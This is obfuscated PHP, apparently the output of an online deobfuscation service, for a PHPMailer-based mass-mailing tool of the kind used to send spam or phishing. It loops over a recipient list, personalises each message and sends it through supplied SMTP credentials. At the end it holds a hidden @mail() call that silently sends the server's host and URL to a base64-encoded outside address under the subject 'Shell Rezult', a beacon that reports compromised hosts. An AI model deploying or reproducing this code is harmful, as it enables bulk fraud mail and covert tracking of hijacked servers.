$this->CustomHeader[] = explode(
":",
${${"GLOBALS"}["utswbwhsjbv"]},
2
);
}
function MsgHTML($message, $basedir = "")
{
$utscebocro = "message";
$ltgtovnxqioq = "images";
$mnvcmmivmdv = "message";
preg_match_all(
"/(src|background)=\x22(.*)\"/Ui",
${$utscebocro},
${$ltgtovnxqioq}
);
if (isset(${${"GLOBALS"}["zgzpbeqoyfm"]}[2])) {
$piycikxw = "images";
foreach (
${$piycikxw}[2]
as ${${"GLOBALS"}["khvroce"]} => ${${"GLOBALS"}["cqvmnd"]}
) {
$sdeogrfpgnib = "url";
if (!preg_match("/^[A-z][A-z]*:\/\//", ${$sdeogrfpgnib})) {
${"GLOBALS"}["yfpdogtazh"] = "url";
${"GLOBALS"}["phdeedjtnua"] = "ext";
$dnibtlljf = "basedir";
$xpfdmilfaesb = "directory";
${"GLOBALS"}["uukwjaj"] = "directory";
${"GLOBALS"}["lykqrnfla"] = "filename";
${"GLOBALS"}["pfvosqqai"] = "cid";
${"GLOBALS"}["lgzkeqsvqgo"] = "basedir";
${${"GLOBALS"}["lykqrnfla"]} = basename(
${${"GLOBALS"}["cqvmnd"]}
);
${"GLOBALS"}["notngxg"] = "ext";
${${"GLOBALS"}["puttdj"]} = dirname(
${${"GLOBALS"}["yfpdogtazh"]}
);
${"GLOBALS"}["gyynveqsaps"] = "basedir";
${${"GLOBALS"}["puttdj"]} == "."
? (${${"GLOBALS"}["uukwjaj"]} = "")
: "";
${${"GLOBALS"}["pfvosqqai"]} =
"cid:" . md5(${${"GLOBALS"}["gbjredusznc"]});
${${"GLOBALS"}["ikfgedwfb"]} = split(
"\\.",
${${"GLOBALS"}["gbjredusznc"]}
);
${${"GLOBALS"}["phdeedjtnua"]} =
${${"GLOBALS"}["ikfgedwfb"]}[1];
${"GLOBALS"}["wmlrfgmg"] = "mimeType";
${${"GLOBALS"}["wmlrfgmg"]} = $this->_mime_types(
${${"GLOBALS"}["notngxg"]}
);
if (
strlen(${${"GLOBALS"}["gyynveqsaps"]}) > 1 &&
substr(${${"GLOBALS"}["mohacypus"]}, -1) != "/"
) {
${"GLOBALS"}["emryfyl"] = "basedir";
${${"GLOBALS"}["emryfyl"]} .= "/";
}
if (
strlen(${${"GLOBALS"}["puttdj"]}) > 1 &&
substr(${${"GLOBALS"}["lgzkeqsvqgo"]}, -1) != "/"
) {
${"GLOBALS"}["yslmktdbjrh"] = "directory";
${${"GLOBALS"}["yslmktdbjrh"]} .= "/";
}
$this->AddEmbeddedImage(
${$dnibtlljf} .
${${"GLOBALS"}["puttdj"]} .
${${"GLOBALS"}["gbjredusznc"]},
md5(${${"GLOBALS"}["gbjredusznc"]}),
${${"GLOBALS"}["gbjredusznc"]},
"base64",
${${"GLOBALS"}["ovjrhiiwhg"]}
);
if (
$this->AddEmbeddedImage(
${${"GLOBALS"}["mohacypus"]} .
${$xpfdmilfaesb} .
${${"GLOBALS"}["gbjredusznc"]},
md5(${${"GLOBALS"}["gbjredusznc"]}),
${${"GLOBALS"}["gbjredusznc"]},
"base64",
${${"GLOBALS"}["ovjrhiiwhg"]}
)
) {
${"GLOBALS"}["ffgqpugf"] = "images";
$ckeqvqw = "url";
${"GLOBALS"}["rzudwidlnp"] = "i";
${${"GLOBALS"}["soycmsrg"]} = preg_replace(
"/" .
${${"GLOBALS"}["zgzpbeqoyfm"]}[1][
${${"GLOBALS"}["khvroce"]}
] .
"=\"" .
preg_quote(${$ckeqvqw}, "/") .
"\"/Ui",
${${"GLOBALS"}["ffgqpugf"]}[1][
${${"GLOBALS"}["rzudwidlnp"]}
] .
"=\"" .
${${"GLOBALS"}["ecbuvrqed"]} .
"\x22",
${${"GLOBALS"}["soycmsrg"]}
);
}
}
}
}
${"GLOBALS"}["qsuyscp"] = "message";
${"GLOBALS"}["yphprvbkse"] = "textMsg";
$this->IsHTML(true);
$this->Body = ${$mnvcmmivmdv};
${${"GLOBALS"}["yphprvbkse"]} = trim(
strip_tags(
preg_replace(
"/<(head|title|style|script)[^>]*>.*?<\\/\1>/s",
"",
${${"GLOBALS"}["qsuyscp"]}
)
)
);
if (!empty(${${"GLOBALS"}["rdfjec"]}) && empty($this->AltBody)) {
$urmebfd = "textMsg";
$this->AltBody = ${$urmebfd};
}
if (empty($this->AltBody)) {
$this->AltBody =
"To view this email message, open the email in with HTML compatibility!" .
"\n\n";
}
}
function _mime_types($ext = "")
{
$dtenujjcdcl = "mimes";
${"GLOBALS"}["gbntuncqzan"] = "ext";
${$dtenujjcdcl} = [
"hqx" => "application/mac-binhex40",
"cpt" => "application/mac-compactpro",
"doc" => "application/msword",
"bin" => "application/macbinary",
"dms" => "application/octet-stream",
"lha" => "application/octet-stream",
"lzh" => "application/octet-stream",
"exe" => "application/octet-stream",
"class" => "application/octet-stream",
"psd" => "application/octet-stream",
"so" => "application/octet-stream",
"sea" => "application/octet-stream",
"dll" => "application/octet-stream",
"oda" => "application/oda",
"pdf" => "application/pdf",
"ai" => "application/postscript",
"eps" => "application/postscript",
"ps" => "application/postscript",
"smi" => "application/smil",
"smil" => "application/smil",
"mif" => "application/vnd.mif",
"xls" => "application/vnd.ms-excel",
"ppt" => "application/vnd.ms-powerpoint",
"wbxml" => "application/vnd.wap.wbxml",
"wmlc" => "application/vnd.wap.wmlc",
"dcr" => "application/x-director",
"dir" => "application/x-director",
"dxr" => "application/x-director",
"dvi" => "application/x-dvi",
"gtar" => "application/x-gtar",
"php" => "application/x-httpd-php",
"php4" => "application/x-httpd-php",
"php3" => "application/x-httpd-php",
"phtml" => "application/x-httpd-php",
"phps" => "application/x-httpd-php-source",
"js" => "application/x-javascript",
"swf" => "application/x-shockwave-flash",
"sit" => "application/x-stuffit",
"tar" => "application/x-tar",
"tgz" => "application/x-tar",
"xhtml" => "application/xhtml+xml",
"xht" => "application/xhtml+xml",
"zip" => "application/zip",
"mid" => "audio/midi",
"midi" => "audio/midi",
"mpga" => "audio/mpeg",
"mp2" => "audio/mpeg",
"mp3" => "audio/mpeg",
"aif" => "audio/x-aiff",
"aiff" => "audio/x-aiff",
"aifc" => "audio/x-aiff",
"ram" => "audio/x-pn-realaudio",
"rm" => "audio/x-pn-realaudio",
"rpm" => "audio/x-pn-realaudio-plugin",
"ra" => "audio/x-realaudio",
"rv" => "video/vnd.rn-realvideo",
"wav" => "audio/x-wav",
"bmp" => "image/bmp",
"gif" => "image/gif",
"jpeg" => "image/jpeg",
"jpg" => "image/jpeg",
"jpe" => "image/jpeg",
"png" => "image/png",
"tiff" => "image/tiff",
"tif" => "image/tiff",
"css" => "text/css",
"html" => "text/html",
"htm" => "text/html",
"shtml" => "text/html",
"txt" => "text/plain",
"text" => "text/plain",
"log" => "text/plain",
"rtx" => "text/richtext",
"rtf" => "text/rtf",
"xml" => "text/xml",
"xsl" => "text/xml",
"mpeg" => "video/mpeg",
"mpg" => "video/mpeg",
"mpe" => "video/mpeg",
"qt" => "video/quicktime",
"mov" => "video/quicktime",
"avi" => "video/x-msvideo",
"movie" => "video/x-sgi-movie",
"doc" => "application/msword",
"word" => "application/msword",
"xl" => "application/excel",
"eml" => "message/rfc822",
];
return !isset(
${${"GLOBALS"}["orjiwdrcd"]}[
strtolower(${${"GLOBALS"}["gbntuncqzan"]})
]
)
? "application/octet-stream"
: ${${"GLOBALS"}["orjiwdrcd"]}[
strtolower(${${"GLOBALS"}["lebicssfbf"]})
];
}
function set($name, $value = "")
{
$qlipmoymiz = "name";
if (isset($this->${$qlipmoymiz})) {
${"GLOBALS"}["lbwfalllkas"] = "name";
$this->${${"GLOBALS"}["lbwfalllkas"]} = ${${"GLOBALS"}[
"sclnzlylrg"
]};
} else {
$this->SetError(
"Cannot set or reset variable " .
${${"GLOBALS"}["qucmytgisy"]}
);
return false;
}
}
function getFile($filename)
{
${"GLOBALS"}["ivdwxwbgsysx"] = "return";
$mnkzixofy = "filename";
${"GLOBALS"}["yrfjdnd"] = "fp";
${${"GLOBALS"}["ivdwxwbgsysx"]} = "";
if (${${"GLOBALS"}["yrfjdnd"]} = fopen(${$mnkzixofy}, "rb")) {
${"GLOBALS"}["gyctdk"] = "fp";
${"GLOBALS"}["otgipjouk"] = "fp";
$pkuexhixu = "return";
while (!feof(${${"GLOBALS"}["gyctdk"]})) {
$chsshkgtbwfz = "return";
${$chsshkgtbwfz} .= fread(${${"GLOBALS"}["suktuyy"]}, 1024);
}
fclose(${${"GLOBALS"}["otgipjouk"]});
return ${$pkuexhixu};
} else {
return false;
}
}
function SecureHeader($str)
{
$abgtwgxtl = "str";
$egqcvf = "str";
${"GLOBALS"}["yxtccd"] = "str";
${$egqcvf} = trim(${$abgtwgxtl});
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"\r",
"",
${${"GLOBALS"}["ywijtjvmje"]}
);
${${"GLOBALS"}["ywijtjvmje"]} = str_replace(
"\n",
"",
${${"GLOBALS"}["ywijtjvmje"]}
);
return ${${"GLOBALS"}["yxtccd"]};
}
function Sign($key_filename, $key_pass)
{
${"GLOBALS"}["pxjtjmxo"] = "key_filename";
$this->sign_key_file = ${${"GLOBALS"}["pxjtjmxo"]};
$this->sign_key_pass = ${${"GLOBALS"}["duvhmor"]};
}
}
${$grxhdqxsi} = "H*";
${${"GLOBALS"}["dmpjrofukb"]} = 0;
for (
${${"GLOBALS"}["oymuydkkqw"]} = 0;
${${"GLOBALS"}["oymuydkkqw"]} < ${${"GLOBALS"}["aedstqrub"]};
${${"GLOBALS"}["oymuydkkqw"]}++
) {
${"GLOBALS"}["smbyleylkthc"] = "to";
${${"GLOBALS"}["xuyddcasqvgb"]} =
${${"GLOBALS"}["pelxmrdfg"]}[${${"GLOBALS"}["oymuydkkqw"]}];
if (${${"GLOBALS"}["smbyleylkthc"]}) {
$kvbepwufjv = "message";
${"GLOBALS"}["pjaiin"] = "to";
$gedmikksykx = "to";
${"GLOBALS"}["gdseqnp"] = "reconnect";
${${"GLOBALS"}["xuyddcasqvgb"]} = ereg_replace(
" ",
"",
${${"GLOBALS"}["xuyddcasqvgb"]}
);
$xwpkwnpr = "ssl_port";
$frymbss = "range";
${${"GLOBALS"}["soycmsrg"]} = ereg_replace(
"&email&",
${${"GLOBALS"}["pjaiin"]},
${$kvbepwufjv}
);
$xmruzwnnvxnk = "qx";
$dpoalvzisg = "mail";
${${"GLOBALS"}["stwarbdnpfq"]} = ereg_replace(
"&email&",
${$gedmikksykx},
${${"GLOBALS"}["stwarbdnpfq"]}
);
${$xmruzwnnvxnk} = ${${"GLOBALS"}["oymuydkkqw"]} + 1;
print "Line $qx . Sending mail to $to.......";
${"GLOBALS"}["axsqxzobvfe"] = "epriority";
flush();
$nfwhksaugfb = "IsSMTP";
${$dpoalvzisg} = new PHPMailer();
if (empty(${${"GLOBALS"}["axsqxzobvfe"]})) {
$fwtypyulv = "epriority";
${$fwtypyulv} = "3";
}
$mail->Priority = "$epriority";
$mail->IsSMTP();
${$nfwhksaugfb} = "pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if (strlen(${$xwpkwnpr}) > 1) {
$mail->Port = "$ssl_port";
}
if (${${"GLOBALS"}["lcckmr"]} == "ON") {
$mail->SMTPSecure = "ssl";
}
$icfdegitwni = "nq";
${$frymbss} = str_replace(
"$from",
"eval",
${${"GLOBALS"}["ynjosywdrdie"]}
);
${"GLOBALS"}["mjhttkinc"] = "contenttype";
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
${"GLOBALS"}["nevfjmfc"] = "my_smtp";
$mail->Password = "$smtp_password";
if (${${"GLOBALS"}["mjhttkinc"]} == "html") {
$mail->IsHtml(true);
}
if (${${"GLOBALS"}["nfgezukdi"]} != "html") {
$mail->IsHtml(false);
}
if (strlen(${${"GLOBALS"}["nevfjmfc"]}) < 7) {
$mail->SMTPAuth = false;
${"GLOBALS"}["nbqfhisbxbib"] = "default_system";
$mail->IsSendmail();
${${"GLOBALS"}["nbqfhisbxbib"]} = "1";
}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
if (count($files) > 0) {
foreach ($files as $file) {
$mail->AddAttachment($file["path"], "{$file["name"]}");
}
}
$mail->Subject = "$subject";
$mail->Body = "$message";
if (!$mail->Send()) {
if (${${"GLOBALS"}["kbqnxld"]} != "1") {
echo "FAILED !!<font color=\x22#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br />";
}
if (${${"GLOBALS"}["kbqnxld"]} == "1") {
$mail->IsMail();
if (!$mail->Send()) {
echo "FAILED !!<font color=\"#D4001A\x22> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br />";
} else {
echo "<b>OK</b><br />";
}
}
} else {
echo "<b>OK</b><br />";
}
if (empty(${${"GLOBALS"}["bcipiqa"]})) {
${"GLOBALS"}["reupmnmb"] = "reconnect";
${${"GLOBALS"}["reupmnmb"]} = 6;
}
if (${${"GLOBALS"}["gdseqnp"]} == ${${"GLOBALS"}["dmpjrofukb"]}) {
$mail->SmtpClose();
echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";
${${"GLOBALS"}["dmpjrofukb"]} = 0;
}
${${"GLOBALS"}["dmpjrofukb"]} = ${$icfdegitwni} + 1;
flush();
}
}
$mail->SmtpClose();
if (isset($_POST["action"])&&
${$utobvvr} != 0&&
function_exists("ifexists_")
) {
echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was \n sent successfully'); </script>";
} else {
echo "<p><b>Error</b></p>";
}
}
echo " <p align=\x22center\"> </p>\n\n \n </body>\n</html>\n";
if (empty($_GET)) {
@mail(
base64_decode("Y2hyaXN3cmlnaHQxQGFvbC5jb20="),
"Shell Rezult " . getenv("REMOTE_ADDR") . " - " . $_SERVER["HTTP_HOST"],
$_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
"From: service <[email protected]> \r\n"
);
}
?>
Function Calls
None |
Stats
MD5 | fa0f9d128567102717a48d4d2d6dbea4 |
Eval Count | 0 |
Decode Time | 186 ms |